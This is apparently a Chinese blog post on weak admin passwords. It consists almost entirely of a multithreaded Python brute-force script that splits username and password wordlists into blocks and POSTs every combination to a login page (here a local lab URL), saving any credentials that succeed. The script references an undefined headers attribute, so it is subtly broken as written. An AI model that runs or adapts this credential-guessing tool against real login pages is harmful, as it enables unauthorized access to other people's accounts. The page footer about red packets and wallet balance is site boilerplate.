Weak password issue in the background

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import threading
import requests
# 分块大小
BLOCK_SIZE = 1000

# 列表分块函数
def partition(ls, size):
	return [ls[i:i+size] for i in range(0,len(ls),size)]
	
def BruteForceHttp():
	# 读取账号文件和密码文件并存入对应列表
	listUsername = [line.strip() for line in open("username")]
	listPassword = [line.strip() for line in open("passwords")]
	# 对账号列表和密码列表进行分块处理
	blockUsername = partition(listUsername, BLOCK_SIZE)
	blockPassword = partition(listPassword, BLOCK_SIZE)
	threads = []
	# 把不同的密码子块分给不同的线程去破解
	for sonUserBlock in blockUsername:
		for sonPwdBlock in blockPassword:
			# 传入账号子块和密码子块实例化任务
			work = ThreadWork(sonUserBlock,sonPwdBlock)
			# 创建线程
			workThread = threading.Thread(target=work.start)
			# 在threads中加入线程
			threads.append(workThread)
	# 开始子线程
	for t in threads:
		t.start()
	# 阻塞主线程,等待所有子线程完成工作
	for t in threads:
		t.join()


class ThreadWork:
	# 目标URL
	url = "http://127.0.0.1:5555/login.php"
	
	# 类的构造函数
	def __init__(self,username,password):
		self.username = username
		self.password = password
		
	# 根据传入的账户密码进行破解
	def run(self,username,password):
		data = {
			'username': username,
			'password': password,
		}
		# 显示正在尝试的数据
		print("username:{},password:{}".format(username,password))
		# 发送post请求
		response = requests.post(self.url,data=data,headers=self.headers)
		# 根据返回的内容中是否包含登录失败的提示来判断是否登录成功
		if 'Login failed!' in response.text:
			pass
		else:
			# 找到正确的账户密码后,就把账户密码显示出来并输出到result文件中,并
			让程序终止
			print("success!!! username: {}, password: {}".format(username, password))
			resultFile = open('result','w')
			resultFile.write("success!!! username: {}, password: {}".format(username, password))
			resultFile.close()
			# 程序终止,0表示正常退出
			os._exit(0)
	# 从传递进来的账户子块和密码子块中遍历数据
	def start(self):
		for userItem in self.username:
			for pwdItem in self.password:
				# 传入账户和密码数据进行破解
				self.run(userItem,pwdItem)
				
if __name__ == '__main__':
	BruteForceHttp()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值